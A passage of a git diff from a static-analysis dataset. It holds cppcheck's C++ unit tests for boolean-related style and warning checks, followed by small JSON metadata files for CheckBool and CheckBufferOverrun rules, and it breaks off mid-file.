if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/returnValueOfFunctionReturningBool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/returnValueOfFunctionReturningBool.json new file mode 100644 index 0000000..4d160c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/returnValueOfFunctionReturningBool.json @@ -0,0 +1,13 @@ +{ + "name": "returnValueOfFunctionReturningBool", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 22, + "branches": 9, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/analyseWholeProgram.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/analyseWholeProgram.json new file mode 100644 index 0000000..1191814 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/analyseWholeProgram.json @@ -0,0 +1,13 @@ +{ + "name": "analyseWholeProgram", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 19, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/argumentSize.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/argumentSize.json new file mode 100644 index 0000000..976840c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/argumentSize.json @@ -0,0 +1,13 @@ +{ + "name": "argumentSize", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 43, + "branches": 15, + "apis": 52, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndex.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndex.json new file mode 100644 index 0000000..ab4551d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBufferOverrun/arrayIndex.json @@ -0,0 +1,25 @@ +{ + "name": "arrayIndex", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 74, + "branches": 22, + "apis": 69, + "test": [ + { + "description": null, + "expected-problems": 4, + "expected-linenumbers": [ + 423, + 440, + 443, + 1124 + ], + "code": "check(\"int 